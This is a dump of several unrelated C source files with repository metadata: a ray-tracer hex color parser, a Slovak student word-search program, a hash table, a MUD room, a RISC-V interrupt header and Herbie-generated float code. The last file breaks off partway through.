/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* parser_color_hexa.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: vasalome <vasalome@student.42lyon.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/02/20 20:06:19 by vasalome #+# #+# */ /* Updated: 2020/05/10 18:56:34 by vasalome ### ########lyon.fr */ /* */ /* ************************************************************************** */ #include "rt.h" /* ** Retrieve the RGB values ​​from an hexa color. */ static int get_hexa(char *s, t_file *file) { int i; int content; int res; i = ft_strlen(s); if (i != 6) error_parser("Bad file: color hexa must be -> 'RRGGBB'", file); content = 1; res = 0; while (--i >= 0) { '0' <= s[i] && s[i] <= '0' + 15 ? res += (s[i] - '0') * content : 0; 'A' <= s[i] && s[i] <= 'A' + 5 ? res += (s[i] - 'A' + 10) * content : 0; 'a' <= s[i] && s[i] <= 'a' + 5 ? res += (s[i] - 'a' + 10) * content : 0; content *= 16; } return (res); } static char delim_is(char *s) { if (ft_strstr(s, "0x")) return ('x'); else if (ft_strstr(s, "#")) return ('#'); return (' '); } void hexa_value(char *s, t_env *v, t_file *file) { int i; char **hexa; char delim; i = 0; delim = delim_is(s); if (!(hexa = ft_strsplit(s, delim))) error_parser("Bad file: Echec de lecture du format hexa", file); while (hexa[++i] != NULL) { if (!ft_strstr(hexa[i], &delim) && i < 2) { v->p.prev_r = get_hexa(hexa[i], file) >> 16 & 0xFF; v->p.prev_g = get_hexa(hexa[i], file) >> 8 & 0xFF; v->p.prev_b = get_hexa(hexa[i], file) & 0xFF; v->p.p_col.r = (float)v->p.prev_r / 255; v->p.p_col.g = (float)v->p.prev_g / 255; v->p.p_col.b = (float)v->p.prev_b / 255; } } while (i >= 0) ft_strdel(&hexa[i--]); free(hexa); }
7b27419097249fae4120536765fd5a8e5c37cf02
0ffe644942fd9b0d2fc04d91ee7b6ef111755568
/bachelor_studies/IZP - Introduction to Programming Systems/proj3_[3z10b].c
38c11768890ed8ecfb5c4fa4d638cf1597ec0cf3
[]
no_license
lsulak/school-projects
9f0e53e2e9a68ae53734d09df350504366de47d5
7d3870e49a4cf38d55a0f654733b108e470a65fd
refs/heads/master
2023-03-16T11:06:13.837025
2022-04-15T10:05:56
2022-04-15T10:05:56
212,453,439
0
1
null
2023-03-04T05:48:16
2019-10-02T22:32:17
C
UTF-8
C
false
false
10,301
c
proj3_[3z10b].c
/* * Subor: proj3.c * Datum: 25.11.2012 * Autor: 1BIB - Ladislav Šulák, xsulak04stud.fit.vutbr.cz * Projekt: IZP č.3 - Riešenie osemsmerovky * Popis: Program dokáže overit,či data zo vstupného súboru neobsahujú chybu * ,dokáže nájst dané slovo v matici , a dokáže vylúštit osemsmerovku. */ #include <stdio.h> #include <ctype.h> #include <string.h> #include <stdlib.h> enum errors { EFORMAT, //Zlý formát vstupných parametrov. ENUMBERS, //Príliš vela parametrov. ENUMBER, //Príliš málo parametrov. ESIZE, //Zlé rozmery matice. EOPEN, //Chyba pri otvárani suboru. ECLOSE, //Chyba pri zatváraní súboru. ESUBOR, //Chyba vo vstupnom súbore. ESUBORC, //V matici sa nachádza číslica. ESUBORP, //V matici sa nachádza písmeno velkej abecedy. EMALLOC, //Nepodarilo sa alokovat pamat. ESTRING //Zadajte slovo zlozene z pismen malej abecedy. }; const char *EMSG[]= { "Zadali ste nesprávny parameter!\n", "Zadali ste príliš vela parametrov!\n", "Zadajte parameter!\n", "Zlé rozmery matice!\n", "Pri otváraní súboru došlo k chybe!\n", "Pri zatváraní súboru došlo k chybe!\n", "Vo vstupnom súbore je chyba!", "V Matici sa nachádza číslica!", "V Matici sa nachádza písmeno velkej abecedy!", "Nepodarilo sa alokovat potrebné množstvo pamate!", "Zadajte slovo zlozene z pismen malej abecedy!" }; //Nápoveda void printHelp(void) { fprintf(stdout , " \n" "Program: Riešenie osemsmerovky \n\n" "Autor: Ladislav Šulák \n\n" "Popis: Program nájde zadané slová,a ostatné znaky vypíše, \n" " teda vylúšti 8-smerovku \n\n" "Popis parametrov: \n" " -h Zobrazí nápovedu. \n\n" " --test data.txt \n" " Skontroluje data zo suboru, ak nedojde k chybe, \n" " vytlačí maticu na stdout. \n\n" " --search=slovo osmismerka.txt \n" " Pokúsi sa nájst dané slovo zo vstupného súboru v osemsmerovke \n\n" " --solve osmismerka.txt slova.txt \n" " Pokúsi sa vylúštit osemsmerovku vyškrtávaním slov, \n" " ktoré sa nachádzajú v súbore slova.txt \n\n" "Koniec nápovedy: stlač Ctrl+D v Linuxe \n" " alebo Ctrl+Z vo Windowse \n"); } typedef struct tmatica { unsigned int R; //pocet riadkov unsigned int S; //pocet stlpcov char *matica; //matica } TMatica; int tiskni(TMatica*mat); void allocMatica(int R, int S, TMatica *mat) //Alokovanie matice na hromade { if((mat->matica=malloc(sizeof(char)*R*S))==NULL) fprintf(stderr , "Chyba: %s\n" , EMSG[EMALLOC]); mat->S=S; mat->R=R; } void deallocMatica(TMatica *mat) //Dealokovanie matice { free(mat->matica); mat->matica=NULL; //mat->matica=0; } int prvyZnak(TMatica *mat, unsigned int dlzka, char *argv[]); //Prototyp funkcie ktora najde prvy znak. int test(char *testFile, unsigned int v,char *argv[] ,unsigned int dlzka) //Funkcia v ktorej sa otvára,zatvára súbor,alokuje a načítava sa matica. { FILE *subor; unsigned int count1=0,count2=0; int male_CH,i=0,c; unsigned int S,R; TMatica x; if((subor=fopen(testFile, "r")) == NULL) //Kontroluje ,či sa podarilo otvorit súbor. { fprintf(stderr, "Chyba: %s\n" , EMSG[EOPEN]); return 1; } if(fscanf(subor, "%u %u" ,&R ,&S)!=2) //Kontroluje, či sú na prvých dvoch miestach čísla { fprintf(stderr, "Chyba: %s\n" , EMSG[ESUBOR]); return 1; } count1=R*S; //Zistujem sucin prvych dvoch cisel.Bude to potrebne pre test ci sa pocet pismen v subore rovna count1 allocMatica(R,S,&x); //Maticu alokujem uz v teste z toho dovodu, ze test je pritomny aj v search aj v solve while((c=fgetc(subor)) != EOF) //Nacitavanie matice. { if(isalpha(c)) //Ak sa jedna o znak, count2 sa inkrementuje. count2++; //Porovna sa s count1 a ak je to zhodne ,znamena to ze je vstupny subor v pozadovanom formate. if(c>='a' && c<='z') //Vo vstupnom subore mozu byt (okrem prvych 2 cisel) iba pismena malej abecedy. { if(c=='c') //Ak sa vyskytne v matici pismeno ch , nahradime ho znakom & , a pri vypise matice ho len zamenime za ch. { if((male_CH=fgetc(subor))=='h') { x.matica[i]='&'; //Spominana substitucia. i++; } else { x.matica[i]=c; i++; } } else { x.matica[i]=c; i++; } } else if(c!=32 && c!=10) { fprintf(stderr, "Chyba: %s\n",EMSG[ESUBOR]); return 1; } } if(count1!=count2) //Overenie, ci sa vo vstupnom usbore naozaj nachadza pozadovany pocet pismen. { fprintf(stdout, "Chyba: %s\n" ,EMSG[ESUBOR]); return 1; } switch (v) { //Premenna v urcuje aky parameter sa ma vykonat. case 1: //ak v=1, vykona sa iba test. tiskni(&x); deallocMatica(&x); break; case 2: //ak v=1, vykona sa search prvyZnak(&x ,dlzka,argv); tiskni(&x); deallocMatica(&x); break; case 3: //ak v=1, vykona sa solve tiskni(&x); deallocMatica(&x); break; } if(fclose(subor) == EOF) //Kontroluje či sa súbor zatvoril korektne. { fprintf(stderr, "Chyba: %s \n" , EMSG[ECLOSE]); return 1; } return 0; } int tiskni(TMatica*mat) //Pomocou tejto funkcie sa tlačí matica. { fprintf(stdout, "%u %u\n" , mat->R , mat->S); for(unsigned int i=0; i < mat->R ; i++) { for(unsigned int j=0; j< mat->S; j++) { if(mat->matica[i*mat->S+j]=='&') fprintf(stdout, "%c%c " ,'c','h'); else fprintf(stdout, "%c " , mat->matica[i*mat->S+j]); } fprintf(stdout, "\n"); } return 0; } //Hladanie znaku pre 1 smer, Ak zmenime premenne R2 S2 , zmenime smer vyhladavania.Pouzita rekurzia. int search(TMatica*mat , unsigned int dlzka, unsigned int R , unsigned int S , unsigned int d , unsigned int R2 , unsigned int S2) { // if(mat->matica[R2*mat->S+S2]==' ') if(d==dlzka-1) { mat->matica[R*mat->S+S]=toupper(mat->matica[R*mat->S+S2]); return 0; if(search(mat,dlzka,R+R2,S+S2, d+1, R2 ,S2)==0) { mat->matica[R2*mat->S+S2]=toupper(mat->matica[R2*mat->S+S2]); return 0; } } return 1; } char prve (char *argv[]) //Funkcia vracia prvy znak zo slova ktore sa ma hladat. { int p; p=argv[1][9]; return p; } int prvyZnak(TMatica *mat, unsigned int dlzka , char *argv[]) //Hladanie prveho znaku,a nasledne dalsich. { unsigned int k=0; /* for(unsigned int i=0;i< mat->R*mat->S ;i++) * { * if(mat->matica[i]==argv[1][9+k] && k<dlzka) * { * for(unsigned q=i; q< (mat->R*mat->S) ;q++) * { * * if(mat->matica[q]==argv[1][9+k]) { * if((k-i!=dlzka) && (q% (mat->S)) !=0) * { * mat->matica[q]=toupper(mat->matica[q]); * k++; * } } * else break; * * } * } * } */ for(unsigned int i=0; i< mat->R*mat->S;i++) { if(((i)%(mat->R))!=0 && k!=dlzka) if(mat->matica[i]==argv[1][9+k]) { // if(k!=dlzka) // { //if((i%(mat->S))!=0) mat->matica[i]=toupper(mat->matica[i]); k++; //} // else break; } } return 0; } int main(int argc, char *argv[] ) //Funkcia ktorá spracúva parametre príkazového riadku. { int i=9; unsigned int dlzka=0; if(argc > 1 && argc < 5) { if(argc==2) { if(strcmp("-h" , argv[1]) == 0) //Zobrazí nápovedu. { printHelp(); return 0; } else { fprintf(stderr, "Chyba: %s\n" , EMSG[EFORMAT]); return 1; } } else if(argc==3) { if(strcmp("--test" , argv[1]) == 0) //Skontroluje či je matica v správnom tvare, ak áno, vytlačí ju. { if((test(argv[2],1,argv,0))==0) return 0; } if(strncmp("--search=" , argv[1] ,9) == 0) //Pokusi sa najst v 8-smerovke slovo ktore nasleduje za parametrom --search= { if(argv[1][i]=='\0') { fprintf(stderr, "Chyba: %s\n", EMSG[ESTRING]); return 1; } else if(argv[1][i]>='a' && argv[1][i]<='z') //Retazec moze byt iba pismeno malej abecedy { dlzka=strlen(argv[1])-9; //Urci dlzku retazca,asi vymazat if((test(argv[2],2,argv,dlzka))==0) while(argv[1][i]!='\0') //Vymazat!!!!!!!!!!!!!!!!!!!!!!!!! { fprintf(stdout, "%c" ,argv[1][i]); i++; } fprintf(stdout, "\n"); return 0; } else { fprintf(stderr, "Chyba: %s\n" ,EMSG[ESTRING]); return 1; } } else { fprintf(stderr, "Chyba: %s\n" ,EMSG[EFORMAT]); return 1; } } else if(argc==4) { if(strcmp("--solve" , argv[1]) == 0) //Pokúsi sa vyškrtávaním slov vylúštit osemsmerovku. { if((test(argv[2],3,argv,0))==0) return 0; else { fprintf(stderr, "Chyba: %s\n" , EMSG[EFORMAT]); return 1; } } else { fprintf(stderr, "Chyba: %s\n" ,EMSG[EFORMAT]); return 1; } } } else if(argc==1) { fprintf(stderr, "Chyba: %s" ,EMSG[ENUMBER]); return 1; } else if(argc>=5) { fprintf(stderr, "Chyba: %s" ,EMSG[ENUMBERS]); return 1; } return 0; }
53c370d855506a76d1515ed4af387ea1b6a35586
8e4b8ff4518ce293a29b0c50d2806c87af769a4a
/src/structure/hashtable.c
881b3bfa58e840fb7a8b216d154ed9ddf989a70e
[ "MIT" ]
permissive
fengyoulin/eframework
e095c8accb048f3951f4001e2c40c3b92d8cdf79
1c08aae024df7e6a9b5866c34c2f32d9139d4ebb
refs/heads/master
2020-04-18T22:02:30.337793
2019-05-08T08:16:39
2019-05-08T08:16:39
167,782,586
3
0
null
null
null
null
UTF-8
C
false
false
7,726
c
hashtable.c
// Copyright (c) 2018-2019 The EFramework Project // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. #include "hashtable.h" static ef_bucket_t *alloc_hash_data(uint32_t cap) { size_t hash_size = sizeof(uint32_t) * cap; size_t data_size = sizeof(ef_bucket_t) * cap; uint32_t *data = (uint32_t *)malloc(hash_size + data_size); if (!data) { return NULL; } memset(data, -1, hash_size); memset(data + cap, 0, data_size); return (ef_bucket_t *)(data + cap); } static void free_hash_data(ef_bucket_t *data, uint32_t cap) { free((uint32_t *)data - cap); } /* from PHP */ static unsigned long hash_func(const char *str, size_t len) { unsigned long hash = 5381UL; /* variant with the hash unrolled eight times */ for (; len >= 8; len -= 8) { hash = ((hash << 5) + hash) + *str++; hash = ((hash << 5) + hash) + *str++; hash = ((hash << 5) + hash) + *str++; hash = ((hash << 5) + hash) + *str++; hash = ((hash << 5) + hash) + *str++; hash = ((hash << 5) + hash) + *str++; hash = ((hash << 5) + hash) + *str++; hash = ((hash << 5) + hash) + *str++; } switch (len) { case 7: hash = ((hash << 5) + hash) + *str++; /* fallthrough... */ case 6: hash = ((hash << 5) + hash) + *str++; /* fallthrough... */ case 5: hash = ((hash << 5) + hash) + *str++; /* fallthrough... */ case 4: hash = ((hash << 5) + hash) + *str++; /* fallthrough... */ case 3: hash = ((hash << 5) + hash) + *str++; /* fallthrough... */ case 2: hash = ((hash << 5) + hash) + *str++; /* fallthrough... */ case 1: hash = ((hash << 5) + hash) + *str++; break; case 0: break; default: break; } /* Hash value can't be zero, so we always set the high bit */ #if __x86_64__ return hash | 0x8000000000000000UL; #else return hash | 0x80000000UL; #endif } // 计算大于等于cap的最小2^n static uint32_t hash_recap(uint32_t cap) { if (cap <= HASH_TABLE_INIT_CAP) { return HASH_TABLE_INIT_CAP; } cap -= 1; cap |= (cap >> 1); cap |= (cap >> 2); cap |= (cap >> 4); cap |= (cap >> 8); cap |= (cap >> 16); return cap + 1; } static void ef_hashtable_free_bucket(ef_hashtable_t *ht, ef_bucket_t *pb) { if (!pb->h && !pb->key) { return; } pb->h = 0; if (pb->key) { ef_string_free(pb->key, 1); pb->key = NULL; } if (pb->val.ptr && ht->val_dtor){ ht->val_dtor(pb->val.ptr); pb->val.ptr = NULL; } pb->next = ht->removed; ht->removed = pb - ht->arrData; --ht->used; } ef_hashtable_t *ef_hashtable_new(uint32_t cap, val_dtor_t val_dtor) { cap = hash_recap(cap); ef_bucket_t *bks = alloc_hash_data(cap); if (!bks) { return NULL; } ef_hashtable_t *ht = (ef_hashtable_t *)malloc(sizeof(ef_hashtable_t)); if (!ht) { free_hash_data(bks, cap); return NULL; } ht->cap = cap; ht->used = 0; ht->next = 0; ht->removed = -1; ht->sizemask = HASH_SIZEMASK(ht); ht->arrData = bks; ht->val_dtor = val_dtor; return ht; } ef_bucket_t *ef_hashtable_set_key_value(ef_hashtable_t *ht, const char *key, size_t klen, void *val) { ef_bucket_t *pb = ef_hashtable_find_key(ht, key, klen); if (pb) { if (ht->val_dtor && pb->val.ptr) { ht->val_dtor(pb->val.ptr); } pb->val.ptr = val; return pb; } alloc_bucket: if (ht->next < ht->cap) { pb = &ht->arrData[ht->next++]; } else if (ht->removed != -1) { pb = &ht->arrData[ht->removed]; ht->removed = pb->next; } else if (!ef_hashtable_resize(ht, ht->cap << 1)) { goto alloc_bucket; } else { return NULL; } ++ht->used; pb->key = ef_string_new(key, klen); if (!pb->key) { pb->next = ht->removed; ht->removed = pb - ht->arrData; --ht->used; return NULL; } pb->h = hash_func(key, klen); pb->val.ptr = val; int32_t offset = HASH_OFFSET(ht, pb->h); pb->next = HASH_ENTRY(ht, offset); HASH_ENTRY(ht, offset) = pb - ht->arrData; return pb; } ef_bucket_t *ef_hashtable_find_key(ef_hashtable_t *ht, const char *key, size_t len) { unsigned long h = hash_func(key, len); int32_t offset = HASH_OFFSET(ht, h); uint32_t index = HASH_ENTRY(ht, offset); if (index == -1) { return NULL; } ef_bucket_t *pb = &ht->arrData[index]; while (1) { if (pb->h == h && pb->key && pb->key->len == len && memcmp(pb->key->str, key, len) == 0) { return pb; } if (pb->next == -1) { break; } pb = &ht->arrData[pb->next]; } return NULL; } int ef_hashtable_remove_key(ef_hashtable_t *ht, const char *key, size_t len) { unsigned long h = hash_func(key, len); int32_t offset = HASH_OFFSET(ht, h); uint32_t *pidx = &HASH_ENTRY(ht, offset); if (*pidx == -1) { return 0; } ef_bucket_t *pb = &ht->arrData[*pidx]; while (1) { if (pb->h == h && pb->key && pb->key->len == len && memcmp(pb->key->str, key, len) == 0) { *pidx = pb->next; ef_hashtable_free_bucket(ht, pb); return 0; } if (pb->next == -1) { break; } pidx = &pb->next; pb = &ht->arrData[pb->next]; } return 0; } void ef_hashtable_free(ef_hashtable_t *ht) { for (int idx = 0; idx < ht->cap; ++idx) { ef_hashtable_free_bucket(ht, &ht->arrData[idx]); } free_hash_data(ht->arrData, ht->cap); free(ht); } int ef_hashtable_resize(ef_hashtable_t *ht, uint32_t cap) { cap = hash_recap(cap); if (cap < ht->used) { return -1; } ef_bucket_t *newbks = alloc_hash_data(cap); if (!newbks) { return -1; } ef_bucket_t *oldbks = ht->arrData; uint32_t oldcap = ht->cap; ht->arrData = newbks; ht->cap = cap; ht->sizemask = HASH_SIZEMASK(ht); ht->removed = -1; ht->next = ht->used; ef_bucket_t *newptr = newbks; for (int idx = 0; idx < oldcap; ++idx) { ef_bucket_t *pb = &oldbks[idx]; if (!pb->h && !pb->key) { continue; } newptr->h = pb->h; newptr->key = pb->key; memcpy(&newptr->val, &pb->val, sizeof(ef_bucket_value_t)); int32_t offset = HASH_OFFSET(ht, newptr->h); newptr->next = HASH_ENTRY(ht, offset); HASH_ENTRY(ht, offset) = newptr - newbks; ++newptr; } free_hash_data(oldbks, oldcap); return 0; }
a05186c514f077f42a3d268420f77a535fcc17d1
71e5f96a29f5d643ab888b37677d38c33f8d765d
/d/dagger/cave2/cave2.c
2831b9ffd390719670edec60038da6d5f99e90dc
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
Cherno-SuS/SunderingShadows
5f755fbebb79dc0b9d1c2a0541408be4afeb8b67
c3b4370beb2c4351ecc60826850c94892a42b685
refs/heads/main
2023-04-21T09:52:14.580024
2021-03-23T12:09:55
2021-03-23T12:09:55
349,490,686
0
0
NOASSERTION
2021-03-23T12:09:56
2021-03-19T16:40:12
null
UTF-8
C
false
false
1,165
c
cave2.c
#include "/d/dagger/cave2/short.h" inherit ROOM; void create() { ::create(); set_terrain(NAT_CAVE); set_travel(RUTTED_TRACK); set_property("indoors",1); set_short("Ogre caverns"); set_long( " You are in a dark damp cavern system descending deep under the mountain. All around you you see signs of ogre habitation, from fistmarks in the walls to the unmistakable odor. As you peer into the dark abyss before you you see many glowing eyes peering back at you." ); set_listen("default", "You hear the thunder of hundreds of huge footfalls as they race towards you through the dark."); set_smell("default", "You're not sure you want to know what that is."); set_exits( ([ "south" : RPATH "cave1", "north" : RPATH "cave3", ])); set_items( ([ "fistmarks" : " There are several marks gouged into the walls that were most likely made by the fist of enraged ogres.", "walls" : " These walls are pockmarked and have been brutally abused", "eyes" : " The glowing red eyes peer deep into you, deep into your soul, tormenting you with their deep hatred, instilling a great fear in your gut.", ]) ); }
a34256d7da2ced52c110f60749f0312aa517d9d4
f0ba62b2024c761e347ed62d9ba47be02eacf7ac
/metal/drivers/riscv_cpu_intc.h
60e43902d6252ae484cfa4ad17c57f867e33f15a
[ "LicenseRef-scancode-unknown-license-reference", "MIT", "Apache-2.0" ]
permissive
nategraff-sifive/freedom-metal-next
cd02bf825417a81542687b2ea4ed4517f07a40cd
b5a53a63c66e25d461ada39540e270cf66d4b013
refs/heads/master
2023-03-27T18:32:38.401805
2020-07-15T21:17:13
2020-07-15T21:17:13
278,448,373
0
1
NOASSERTION
2021-03-20T04:39:04
2020-07-09T19:05:04
C
UTF-8
C
false
false
4,178
h
riscv_cpu_intc.h
/* Copyright 2020 SiFive, Inc */ /* SPDX-License-Identifier: Apache-2.0 */ #ifndef METAL__DRIVERS__RISCV_CPU_INTC_H #define METAL__DRIVERS__RISCV_CPU_INTC_H #include <metal/interrupt.h> #define METAL_MTVEC_MODE 0x03 #define METAL_MTVEC_DIRECT 0x00 #define METAL_MTVEC_VECTORED 0x01 #define METAL_MTVEC_CLIC 0x02 #define METAL_MTVEC_CLIC_VECTORED 0x03 #define METAL_MTVEC_CLIC_RESERVED 0x3C #define METAL_MTVEC_MODE_MASK 0x3F #if __riscv_xlen == 32 #define RISCV_MCAUSE_INTERRUPT 0x80000000UL #define RISCV_MCAUSE_CODE_MASK 0x000003FFUL #else #define RISCV_MCAUSE_INTERRUPT 0x8000000000000000ULL #define RISCV_MCAUSE_CODE_MASK 0x00000000000003FFULL #endif #define RISCV_MCAUSE_IS_INTERRUPT(mcause) ((mcause) & RISCV_MCAUSE_INTERRUPT) #define RISCV_MCAUSE_IS_EXCEPTION(mcause) (!(RISCV_MCAUSE_IS_INTERRUPT(mcause)) #define RISCV_MCAUSE_ID(mcause) ((mcause) & RISCV_MCAUSE_CODE_MASK) #define METAL_MSTATUS_MIE 0x00000008UL #define METAL_MIE_MSIE 0x00000008UL #define METAL_MIE_MTIE 0x00000080UL #define METAL_MIE_MEIE 0x00000800UL #define METAL_INTERRUPT_ID_SW 3 #define METAL_INTERRUPT_ID_TMR 7 #define METAL_INTERRUPT_ID_EXT 11 #define METAL_INTERRUPT_ID_LC0 16 #define METAL_INTERRUPT_ID_LC1 17 #define METAL_INTERRUPT_ID_LC2 18 #define METAL_INTERRUPT_ID_LC3 19 #define METAL_INTERRUPT_ID_LC4 20 #define METAL_INTERRUPT_ID_LC5 21 #define METAL_INTERRUPT_ID_LC6 22 #define METAL_INTERRUPT_ID_LC7 23 #define METAL_INTERRUPT_ID_LC8 24 #define METAL_INTERRUPT_ID_LC9 25 #define METAL_INTERRUPT_ID_LC10 26 #define METAL_INTERRUPT_ID_LC11 27 #define METAL_INTERRUPT_ID_LC12 28 #define METAL_INTERRUPT_ID_LC13 29 #define METAL_INTERRUPT_ID_LC14 30 #define METAL_INTERRUPT_ID_LC15 31 #define METAL_INTERRUPT_ID_BEU 128 void riscv_cpu_intc_init(struct metal_interrupt controller); int riscv_cpu_intc_set_vector_mode(struct metal_interrupt controller, metal_vector_mode mode); metal_vector_mode riscv_cpu_intc_get_vector_mode(struct metal_interrupt controller); int riscv_cpu_intc_set_privilege(struct metal_interrupt controller, metal_intr_priv_mode privilege); metal_intr_priv_mode riscv_cpu_intc_get_privilege(struct metal_interrupt controller); int riscv_cpu_intc_clear(struct metal_interrupt controller, int id); int riscv_cpu_intc_set(struct metal_interrupt controller, int id); int riscv_cpu_intc_enable(struct metal_interrupt controller, int id); int riscv_cpu_intc_disable(struct metal_interrupt controller, int id); int riscv_cpu_intc_set_threshold(struct metal_interrupt controller, unsigned int level); unsigned int riscv_cpu_intc_get_threshold(struct metal_interrupt controller); int riscv_cpu_intc_set_priority(struct metal_interrupt controller, int id, unsigned int priority); unsigned int riscv_cpu_intc_get_priority(struct metal_interrupt controller, int id); int riscv_cpu_intc_set_preemptive_level(struct metal_interrupt controller, int id, unsigned int level); unsigned int riscv_cpu_intc_get_preemptive_level(struct metal_interrupt controller, int id); int riscv_cpu_intc_vector_enable(struct metal_interrupt controller, int id, metal_vector_mode mode); int riscv_cpu_intc_vector_disable(struct metal_interrupt controller, int id); metal_affinity riscv_cpu_intc_affinity_enable(struct metal_interrupt controller, metal_affinity bitmask, int id); metal_affinity riscv_cpu_intc_affinity_disable(struct metal_interrupt controller, metal_affinity bitmask, int id); metal_affinity riscv_cpu_intc_affinity_set_threshold(struct metal_interrupt controller, metal_affinity bitmask, unsigned int level); unsigned int riscv_cpu_intc_affinity_get_threshold(struct metal_interrupt controller, int context_id); #endif
f03024b10cb89fafeed511453f841deeace728ce
3943f4014015ae49a2c6c3c7018afd1d2119a7ed
/herbie_results/small_range_around_-1/hermite_formula_-1.1_-0.9/14-13/compiled.c
38bb039d6fec564dc8bd60f6ce78a099796e9225
[]
no_license
Cathy272272272/practicum
9fa7bfcccc23d4e40af9b647d9d98f5ada37aecf
e13ab8aa5cf5c037245b677453e14b586b10736d
refs/heads/master
2020-05-23T10:10:15.111847
2019-06-08T00:23:57
2019-06-08T00:23:57
186,689,468
0
0
null
null
null
null
UTF-8
C
false
false
23,756
c
compiled.c
#include <tgmath.h> #include <gmp.h> #include <mpfr.h> #include <stdio.h> #include <stdbool.h> char *name = "13"; double f_if(float x) { float r64039770 = 17297280.0; float r64039771 = x; float r64039772 = r64039770 * r64039771; float r64039773 = -69189120.0; float r64039774 = r64039771 * r64039771; float r64039775 = r64039774 * r64039771; float r64039776 = r64039773 * r64039775; float r64039777 = r64039772 + r64039776; float r64039778 = 69189120.0; float r64039779 = r64039775 * r64039771; float r64039780 = r64039779 * r64039771; float r64039781 = r64039778 * r64039780; float r64039782 = r64039777 + r64039781; float r64039783 = -26357760.0; float r64039784 = r64039780 * r64039771; float r64039785 = r64039784 * r64039771; float r64039786 = r64039783 * r64039785; float r64039787 = r64039782 + r64039786; float r64039788 = 4392960.0; float r64039789 = r64039785 * r64039771; float r64039790 = r64039789 * r64039771; float r64039791 = r64039788 * r64039790; float r64039792 = r64039787 + r64039791; float r64039793 = -319488.0; float r64039794 = r64039790 * r64039771; float r64039795 = r64039794 * r64039771; float r64039796 = r64039793 * r64039795; float r64039797 = r64039792 + r64039796; float r64039798 = 8192.0; float r64039799 = r64039795 * r64039771; float r64039800 = r64039799 * r64039771; float r64039801 = r64039798 * r64039800; float r64039802 = r64039797 + r64039801; return r64039802; } double f_id(double x) { double r64039803 = 17297280.0; double r64039804 = x; double r64039805 = r64039803 * r64039804; double r64039806 = -69189120.0; double r64039807 = r64039804 * r64039804; double r64039808 = r64039807 * r64039804; double r64039809 = r64039806 * r64039808; double r64039810 = r64039805 + r64039809; double r64039811 = 69189120.0; double r64039812 = r64039808 * r64039804; double r64039813 = r64039812 * r64039804; double r64039814 = r64039811 * r64039813; double r64039815 = r64039810 + r64039814; double r64039816 = -26357760.0; double r64039817 = r64039813 * r64039804; double r64039818 = r64039817 * r64039804; double r64039819 = r64039816 * r64039818; double r64039820 = r64039815 + r64039819; double r64039821 = 4392960.0; double r64039822 = r64039818 * r64039804; double r64039823 = r64039822 * r64039804; double r64039824 = r64039821 * r64039823; double r64039825 = r64039820 + r64039824; double r64039826 = -319488.0; double r64039827 = r64039823 * r64039804; double r64039828 = r64039827 * r64039804; double r64039829 = r64039826 * r64039828; double r64039830 = r64039825 + r64039829; double r64039831 = 8192.0; double r64039832 = r64039828 * r64039804; double r64039833 = r64039832 * r64039804; double r64039834 = r64039831 * r64039833; double r64039835 = r64039830 + r64039834; return r64039835; } double f_of(float x) { float r64039836 = x; float r64039837 = r64039836 * r64039836; float r64039838 = 3; float r64039839 = pow(r64039836, r64039838); float r64039840 = r64039839 * r64039839; float r64039841 = r64039839 * r64039840; float r64039842 = r64039837 * r64039841; float r64039843 = 8192.0; float r64039844 = r64039837 * r64039843; float r64039845 = -319488.0; float r64039846 = r64039844 + r64039845; float r64039847 = r64039842 * r64039846; float r64039848 = -69189120.0; float r64039849 = r64039836 * r64039848; float r64039850 = 69189120.0; float r64039851 = r64039836 * r64039850; float r64039852 = r64039851 * r64039837; float r64039853 = r64039849 + r64039852; float r64039854 = r64039853 * r64039837; float r64039855 = r64039837 * r64039837; float r64039856 = -26357760.0; float r64039857 = r64039856 * r64039836; float r64039858 = r64039857 * r64039837; float r64039859 = r64039855 * r64039858; float r64039860 = r64039859 * r64039859; float r64039861 = pow(r64039860, r64039838); float r64039862 = 17297280.0; float r64039863 = r64039836 * r64039862; float r64039864 = r64039863 * r64039863; float r64039865 = pow(r64039864, r64039838); float r64039866 = r64039861 - r64039865; float r64039867 = r64039837 * r64039857; float r64039868 = r64039855 * r64039867; float r64039869 = 1; float r64039870 = r64039838 + r64039869; float r64039871 = pow(r64039868, r64039870); float r64039872 = r64039862 * r64039836; float r64039873 = pow(r64039872, r64039870); float r64039874 = r64039871 + r64039873; float r64039875 = r64039872 * r64039868; float r64039876 = r64039875 * r64039875; float r64039877 = r64039874 + r64039876; float r64039878 = r64039866 / r64039877; float r64039879 = r64039859 - r64039863; float r64039880 = r64039878 / r64039879; float r64039881 = r64039854 + r64039880; float r64039882 = 4392960.0; float r64039883 = r64039882 * r64039836; float r64039884 = r64039836 * r64039883; float r64039885 = pow(r64039837, r64039838); float r64039886 = cbrt(r64039885); float r64039887 = r64039855 * r64039886; float r64039888 = r64039887 * r64039836; float r64039889 = r64039884 * r64039888; float r64039890 = r64039881 + r64039889; float r64039891 = r64039847 + r64039890; return r64039891; } double f_od(double x) { double r64039892 = x; double r64039893 = r64039892 * r64039892; double r64039894 = 3; double r64039895 = pow(r64039892, r64039894); double r64039896 = r64039895 * r64039895; double r64039897 = r64039895 * r64039896; double r64039898 = r64039893 * r64039897; double r64039899 = 8192.0; double r64039900 = r64039893 * r64039899; double r64039901 = -319488.0; double r64039902 = r64039900 + r64039901; double r64039903 = r64039898 * r64039902; double r64039904 = -69189120.0; double r64039905 = r64039892 * r64039904; double r64039906 = 69189120.0; double r64039907 = r64039892 * 